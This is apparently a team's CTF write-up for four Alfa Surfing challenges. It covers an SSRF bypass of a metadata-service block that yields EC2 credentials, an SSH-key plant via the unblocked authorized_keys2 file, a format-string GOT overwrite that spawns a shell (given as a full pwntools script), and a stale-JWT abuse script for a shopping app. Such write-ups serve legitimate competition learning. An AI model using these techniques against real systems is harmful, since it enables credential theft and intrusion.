Alfa Surfing
Chill Day / Чилловый день
Easy, Infra, Linux, Cloud
478 pts
165
Spam Protection / Защита от спама
Easy, Infra, Web
716 pts
32
A tangled story / Запутанная история
Hard, Pwn, Network, Forensics
892 pts
7
Landing of bloggers / Десант блогеров
Easy, Web, Logic
743 pts
26
Chill Day
Description
You met a chill guy on the ocean shore. He is 90% chill, and the other 56% vibe. Your task is to surpass him. Turn on the maximum chill mode.
The secret of chillness is kept on the server where the chill guy navibcoded a service for archiving web pages.
Sources: chillguy_6b73b5f.tar.gz
Solution
visiting the website, it present itself as a website fetcher and archiver.


in the source code, there this sus looking function and comment
func isHostAllowed(host string) bool {
rrs, err := lookupHostWithCache(host)
if err != nil {
log.Println(err)
return false
}
hasValidRecords := false
for _, rr := range rrs {
fmt.Println(rr.String())
if rr.Header().Rrtype == dns.TypeA {
// SECURITY: disallow metadata service
if rr.Header().Name == "169.254.169.254" {
return false
} else {
hasValidRecords = true
}
}
}
return hasValidRecords
}
the IP hinted at an internal IP of AWS metadata service. although it is blacklisted, it can be easily bypassed using wildcard DNS such *.nip.io as shown below

after a bit of enumerating, we found the machine credential at /latest/user-data

next step is to fetch the public hostname of the ec2 instance to be able to ssh into it

with a valid credential and public hostname, we can then just ssh into it and get the flag

Flag: alfa{ChILLGuY_caN_BYp45S_EV3RYthIng_And_Do_aNyThIng}
Spam Protection
Description
In the distance, a huge pile of garbage can be seen in the ocean. You swim closer and realize: it's endless spam.
Inside the pile, buried under promises of quick money and fake stocks, a flag shines. We'll have to dig deeper!
Flag in a file
/flag.txt
in the root of the file system
Solution
blackbox web challenge as there is no source code.

we can upload files, view the files, create directories and so on. In one of the requests that lists files, we can see that there's a hidden .config.yaml file

we can retrieve the content of the file as follows

storage_directory: "/home/xz1t3vao"
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"
- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"
readonly_dirs:
- "sent"
it describes some of the behaviour and the permission of the application towards the filesystem. Here are some of the ideas that I tried but failed:
using a Local File Inclusion
/api/content?path=/etc/passwd
overwriting .config.yaml and authorized_keys but it was blacklisted
upon searching there's a legacy authorized_keys2 that is not blacklisted that could possibly also allows authentication and it did worked.
first, I uploaded my ssh public key to the .ssh path with the name of authorized_keys2

next, I authenticate to the system using ssh and my private key and it did worked

Flag: alfa{whA7_th3_HeCk__yOu_HaVe_b3En_SpAMm3d}
A tangled story
Description
You're lying on your surfboard, basking in the sun, when suddenly you hear someone calling for help. You approach the source of the sound and see a strange picture: right at the surface of the water, covered in wires, an octopus is swimming. He downloaded something from the Internet again, started to figure it out, and got confused.
Now his tentacles live their own lives and do not obey. Help the ocean dweller to untangle himself, and at the same time warn him in the future so that he does not think of using wired headphones...
Octopus computer traffic recording: octopus.pcap
The flag is located along the path
/app/FLAG.txt
on this computer.
Solution
this is a combined network forensic and pwn challenge, I personally didn't involved in the forensics at all. all I know is that after I woke up, my teammates mentioned a need for pwn help and they provided everything I need to know.
anyway, I was given a run.elf
by my teammates and the task was on. as I was still asleep my teammates already found the vulnerability by logging into the user melloy
.

first, as shown below we can see the binary has minimal protections
$ pwn checksec run.elf
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
decompiling the binary, we can see some LLM shenanigans happening
undefined8 main(void)
{
int n;
size_t _len;
long in_FS_OFFSET;
allocator local_8dd;
int local_8dc;
int i;
int len;
undefined8 *local_8d0;
undefined8 *func_alice;
undefined8 *local_8c0;
undefined8 *func_melloy;
char *fmtstr_vuln_1;
char *fmtstr_vuln_2;
char *func_bob;
char *local_898;
char *local_890;
char *local_888;
allocator *local_880;
basic_string<char,std::char_traits<char>,std::allocator<char>> local_878 [32];
basic_string local_858 [32];
char fmtstr_vuln_0 [1024];
undefined8 username;
undefined8 local_430;
long local_30;
local_30 = *(long *)(in_FS_OFFSET + 0x28);
llama_log_set(suppress_log_callback,0);
local_880 = &local_8dd;
/* try { // try from 00424b8c to 00424b90 has its CatchHandler @ 0042521e */
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::
basic_string<std::allocator<char>>(local_878,"model/Qwen3-0.6B-F16.gguf",&local_8dd);
std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_8dd);
/* try { // try from 00424ba1 to 00424bb9 has its CatchHandler @ 004252e0 */
ggml_backend_load_all();
local_8dc = 1;
local_8d0 = (undefined8 *)operator.new(0x48);
/* try { // try from 00424bd7 to 00424bdb has its CatchHandler @ 00425264 */
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string
(local_858);
/* try { // try from 00424be9 to 00424bed has its CatchHandler @ 00425250 */
LLModel::LLModel((LLModel *)local_8d0,SUB81(local_858,0));
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_858);
/* try { // try from 00424c1b to 00424c1c has its CatchHandler @ 004252e0 */
(**(code **)*local_8d0)(local_8d0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
/* try { // try from 00424c31 to 00424c35 has its CatchHandler @ 004252cc */
func_alice = (undefined8 *)operator.new(0x88);
/* try { // try from 00424c4c to 00424c50 has its CatchHandler @ 0042527e */
Alice::Alice((Alice *)func_alice,(LLModel *)local_8d0);
/* try { // try from 00424c5d to 00424c61 has its CatchHandler @ 004252cc */
local_8c0 = (undefined8 *)operator.new(0x88);
/* try { // try from 00424c78 to 00424c7c has its CatchHandler @ 00425298 */
Bob::Bob((Bob *)local_8c0,(LLModel *)local_8d0);
/* try { // try from 00424c89 to 00424c8d has its CatchHandler @ 004252cc */
func_melloy = (undefined8 *)operator.new(0x88);
/* try { // try from 00424ca4 to 00424ca8 has its CatchHandler @ 004252b2 */
Melloy::Melloy((Melloy *)func_melloy,(LLModel *)local_8d0);
username = 0x2072657375206f6e;
local_430 = 0x6465736f6f6863;
/* try { // try from 00424cdc to 004251ca has its CatchHandler @ 004252cc */
system("cat banner.txt");
i = 0;
do {
if (4 < i) {
loop:
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_858);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
(local_878);
if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
printf("<%s\n",&username);
fflush(stdout);
fgets(fmtstr_vuln_0,1024,stdin);
_len = strlen(fmtstr_vuln_0);
len = (int)_len;
if (fmtstr_vuln_0[len + -1] == '\n') {
fmtstr_vuln_0[len + -1] = '\0';
}
if (local_8dc == 1) {
n = strcmp(fmtstr_vuln_0,"alice");
if (n != 0) {
n = strcmp(fmtstr_vuln_0,"bob");
if (n != 0) {
n = strcmp(fmtstr_vuln_0,"melloy");
if (n != 0) {
printf("No such user");
fflush(stdout);
goto inc;
}
}
}
local_8dc = 2;
strcpy((char *)&username,fmtstr_vuln_0);
printf("User set to %s:\n",&username);
fflush(stdout);
}
else if (local_8dc == 2) {
n = strcmp(fmtstr_vuln_0,"exit");
if (n == 0) {
local_8dc = 1;
username = 0x2072657375206f6e;
local_430 = 0x6465736f6f6863;
}
else {
_len = strlen(fmtstr_vuln_0);
if (_len < 8) {
puts("Very short");
fflush(stdout);
}
else {
n = strcmp((char *)&username,"alice");
if (n == 0) {
(**(code **)*func_alice)(func_alice,fmtstr_vuln_0,local_858);
local_890 = (char *)std::__cxx11::
basic_string<char,std::char_traits<char>,std::allocator<char>>::
c_str();
local_888 = strstr(local_890,"</think>");
if (local_888 == (char *)0x0) {
puts(local_890);
fflush(stdout);
}
else {
local_888 = local_888 + 8;
puts(local_888);
fflush(stdout);
}
}
else {
n = strcmp((char *)&username,"bob");
if (n == 0) {
(**(code **)*local_8c0)(local_8c0,fmtstr_vuln_0,local_858);
func_bob = (char *)std::__cxx11::
basic_string<char,std::char_traits<char>,std::allocator<char>>::
c_str();
local_898 = strstr(func_bob,"</think>");
if (local_898 == (char *)0x0) {
puts(func_bob);
fflush(stdout);
}
else {
local_898 = local_898 + 8;
puts(local_898);
fflush(stdout);
}
}
else {
n = strcmp((char *)&username,"melloy");
if (n == 0) {
puts("You entered");
printf(fmtstr_vuln_0);
fflush(stdout);
(**(code **)*func_melloy)(func_melloy,fmtstr_vuln_0,local_858);
fmtstr_vuln_1 =
(char *)std::__cxx11::
basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str ()
;
fmtstr_vuln_2 = strstr(fmtstr_vuln_1,"</think>");
if (fmtstr_vuln_2 == (char *)0x0) {
printf(fmtstr_vuln_1);
fflush(stdout);
}
else {
fmtstr_vuln_2 = fmtstr_vuln_2 + 8;
puts(fmtstr_vuln_2);
fflush(stdout);
printf(fmtstr_vuln_2);
fflush(stdout);
}
goto loop;
}
}
}
}
}
}
inc:
i = i + 1;
} while( true );
}
running the binary will shows the following error
$ ./run.elf
Init: error: unable to load model
^C
and so I download the 1.2 GB Qwen3-0.6B-F16.gguf from huggingface to satisfy the dependencies. I ran it again and it works, however it seems we only have one shot (and I downloaded a different model but it doesn't matter)

with the format string, overwriting one of the function entry in GOT to system@PLT is easy.
as this is a one shot pwn, we can't possibly leak libc and the binary has no "/bin/sh" string, I then search if there's a string that ends in "sh" and there was, this will simplifly the exploit
$ strings run.elf | grep "sh$"
fflush
backslash
gpt3-finnish
_M_finish
__old_finish
__new_finish
fflush
ggml_hardswish
ggml_compute_forward_hardswish
.gnu.hash

pwndbg> x/s 0x00671c3f+10
0x671c49: "sh"
next I need to find what function to overwrite and how to control its argument.
n = strcmp((char *)&username,"melloy");
if (n == 0) {
puts("You entered");
printf(fmtstr_vuln_0);
fflush(stdout);
as can be seen above, after printf is called, the binary calls fflush with stdout in RDI.

in this solution I chose fflush as the target function to be overwritten with system and stdout to contain the address of "sh"
so we need two writes in our one shot payload:
writes at addr 0x7034b0 (fflush@GOT) = 0x409670 (system@PLT)
writes at addr 0x7047c0 (stdout) = 0x671c49 ◂— 0x6e6f617865006873 /* 'sh' */
as the lower nibble of the 32 bytes value 0x671c49 is lower than 0x409670, we will start writing the bytes that has the lower value first.
and thus 0x1c49 will be written first and so our payload will start as
payload = b'%7241c%<OFFSET>$lln' # writes 0x1c49
next we'll calculate the remaining bytes that we need to write such that the value will be 0x9670
>>> 0x9670 - 0x1c49
31271
and thus our next payload will be
payload += b'%31271c%<OFFSET+1>$lln' # writes 0x9670
next, we will write the higher nibble of the value to target_address+2
.
since 0x67 is higher than 0x40 we will start writing the bytes that has the lower value first, that 0x40. we need to find the next number that has 0x40 in is lower address after 0x9670 and its offset.
>>> 0x9740 - 0x9670
208
and thus our next payload will be
payload += b'%208c%<OFFSET+2>$hhn' # writes 0x40
this means after 0x9670, we will write additional 208 bytes and the total bytes written will be 0x9740. since we're using the $hhn modifier, we will only write 1 bytes of 0x9740 which corresponds to 0x40.
using the same concept we can find the next offset to write 0x67.
>>> 0x9767 - 0x9740
39
and thus our next payload will be
payload += b'%39c%<OFFSET+3>$hhn' # writes 0x67
finally, we just need to pad it with 8 bytes and append the payload with the addresses of the to write and update its offsets.
payload += p64(elf.got['stdout'])
payload += p64(elf.got['fflush'])
payload += p64(elf.got['fflush']+2)
payload += p64(elf.got['stdout']+2)
here's the exploit being ran againts the remote server

here's the full exploit script:
#!/usr/bin/env python3
from pwn import *
import hashlib, selectors, socket, sys, time, os, random, string
# =========================================================
# SETUP
# =========================================================
exe = './run.elf'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = '46.62.167.155', 31337
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
# fmtstr_vuln_1|2|3
break *0x4250de
break *0x4250de
break *0x425192
c
'''.format(**locals())
def logleak(name, val): log.info(name+" = %#x" % val)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(d1, d2=0):
io.recvuntil(d1, drop=True)
# return data between d1 and d2
if (d2):
return io.recvuntil(d2,drop=True)
# =========================================================
# EXPLOITS
# =========================================================
# $ pwn checksec run.elf
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# Stripped: No
# Debuginfo: Yes
BITS = 21 # fixed by the binary
def md5_ok(b: bytes) -> bool:
# Fast integer check for "leading zero bits"
h = int.from_bytes(hashlib.md5(b).digest(), "big")
return (h >> (128 - BITS)) == 0
def find_one(prefix_len: int = 12) -> bytes:
"""
Precompute ONE printable line whose MD5 has 21 leading zero bits.
Uses a random prefix to avoid reuse collisions on the server.
Returns the exact bytes to send (no newline).
"""
alphabet = string.ascii_lowercase + string.digits
prefix = "g-" + "".join(random.choice(alphabet) for _ in range(prefix_len)) + "-"
n = 0
pref_b = prefix.encode()
while True:
cand = pref_b + str(n).encode()
if md5_ok(cand):
return cand
n += 1
def exploit():
global io
if args.REMOTE:
t0 = time.time()
line = find_one()
md5hex = hashlib.md5(line).hexdigest()
print(f"[+] Precomputed line: {line!r}")
print(f"[+] MD5: {md5hex} (meets {BITS} leading zero bits)")
print(f"[+] Precompute time: {time.time() - t0:.2f}s")
io = initialize()
rop = ROP(exe)
if args.REMOTE:
io.send(line + b"\n")
# payload = b''
# for i in range(1, 40):
# payload += f'{i}-%p|'.encode()
# sh = 0x671c49
# payload = fmtstr_payload(30, {elf.sym['stdout']: sh})
# payload = fmtstr_payload(30, {elf.got['fflush']: elf.plt['system']}, write_size='short')
payload = b'%7241c%37$lln' # writes 0x1c49
payload += b'%31271c%38$lln' # writes 0x9670
payload += b'%208c%39$hhn' # writes 0x40
payload += b'%39c%40$hhn' # writes 0x67
payload = payload.ljust(0x8*7, b'\x00')
payload += p64(elf.got['stdout'])
payload += p64(elf.got['fflush'])
payload += p64(elf.got['fflush']+2)
payload += p64(elf.got['stdout']+2)
sla(b'<', b'melloy')
sla(b'<', payload)
logleak('fflush@GOT', elf.got['fflush'])
io.interactive()
if __name__ == '__main__':
exploit()
Flag: alfa{0n3_7eNT4CL3_DOe5N7_know_WHA7_0TH3R_doEs}
Landing of bloggers
Description
New vacationers have arrived on the island — bloggers. Their right hand has become fused with a smartphone, they are constantly filming something and admiring the local beauty
The bloggers are planning a large-scale stream, but a slow internet connection is preventing this. One of the stores has the necessary router, but it is too expensive
Help them buy a high-speed router so that as many people as possible can learn about this beautiful island.
Service for joint purchases: youtroopers-4me3mn03.alfactf.ru/
Sources: youtroopers_6ea8819.tar.gz
Solution
in the source code we can see the goal of this challenge is to buy a product named Высокоскоростной роутер SeaLink X20
if price_per_person <= user_balance:
flag = None
if target_product == "Высокоскоростной роутер SeaLink X20":
flag = "alfa{***REDACTED***}"
however, after registering we can see we start with 0 money and there's no way to topup or gain money.

in the app, there's this mechanism of "clubbing", where multiple user can jointly group and buy an item together. there's a flaw in the logic to calculate how much a person should pay
price_per_person = int(product_price / participant_count)
as there's no check to how much the participant_count can be, if its value is much greater than the product price, the the rounding from int() will return 0.
in the config.py, we can see the price for the item we need to buy is 333
{
"name": "Высокоскоростной роутер SeaLink X20",
"description": "Влагозащищённый корпус, устойчив к соляному туману, поддержка Wi‑Fi 6 и LTE/5G для резервирования связи, стабильное покрытие бунгало и пляжной зоны",
"image": "/static/images/router.png",
"price": 333
}
this means we can just register 334 users right? not really, the user registration in the app implements a recaptcha, I tried to find if we can bypass it but found nothing.

another thing to note is that the app stores data in in files:
users in
/app/users/<username>
clubbings in
/app/clubbings/<item>/<id>/<username>
appuser@a13b06aadde9:/app$ ls
__init__.py __pycache__ auth.py clubbings config.py main.py models.py recaptcha.py requirements.txt routes.py users utils.py
appuser@a13b06aadde9:/app$ ls users/
testtesttesttesttest
appuser@a13b06aadde9:/app$ cd clubbings/
appuser@a13b06aadde9:/app/clubbings$ ls
'Высокоскоростной роутер SeaLink X20' 'Непромокаемый рюкзак ReefPack 30L' 'Портативный опреснитель AquaSalt GO' 'Солнечная станция SunShell 200'
appuser@a13b06aadde9:/app/clubbings$ cd *X20
appuser@a13b06aadde9:/app/clubbings/Высокоскоростной роутер SeaLink X20$ ls
fa81b1c8
appuser@a13b06aadde9:/app/clubbings/Высокоскоростной роутер SeaLink X20$ ls fa81b1c8/
testtesttesttesttest
by sheer luck when testing dynamically, I found a strange behaviour.
I had saved the request to join clubbing in the repeater as my username session was still testtesttesttesttest
. after some time I renamed my user via the web to blablablablablabla
which prompted the application to generate a new session token.

at the time I didn't think this was relevant, and as I hit the join clubbing in the repeater using the old session token, I noticed the app didn't invalidate the token and thus a valid old username.

this is because the app relies on the username provided in the jwt token instead of an id that then links to a username in most common applications.
with this in mind we can then craft fake users to lower the price_per_person value to 0 and buy the item to get the flag.
below is the script to automate the creation of fake users and make them join the clubbing
import warnings
import requests
from urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter("ignore", InsecureRequestWarning)
url = "https://youtroopers-4me3mn03.alfactf.ru/"
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
# register first as a user and get the token
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJibGFibGFibGFibGFibGFibGFibGFibGFibGFibGEiLCJleHAiOjE3NTc4NTg5NzZ9.BDVJbg9XiwGRdMWM7YTseKzXhRzquIz5fx7vlIPj8cA"
}
res = requests.post(url+"/api/create_clubbing", verify=False, headers=headers, json={"product": "Высокоскоростной роутер SeaLink X20"}, proxies=proxies)
res = requests.get(url+"/api/clubbings", verify=False, headers=headers, proxies=proxies)
clubbing_id = res.json()[0]["clubbing_id"]
print(clubbing_id)
for i in range(0, 334):
res = requests.post(url+"/api/rename", verify=False, headers=headers, json={"new_username": f"idkidkidkidkidk{i}"}, proxies=proxies)
new_token = res.json()["access_token"]
old_token = headers["Authorization"].split(" ")[1]
res = requests.post(url+'/api/join_clubbing', verify=False, headers=headers, json={"clubbing_id": clubbing_id}, proxies=proxies)
headers["Authorization"] = f"Bearer {new_token}"
after the script is done running, in the web view join the clubbing using the printed clubbing_id
and buy the item to get the flag

Flag: alfa{oLD_70kEns_ArE_s71LL_VAL1d}
Last updated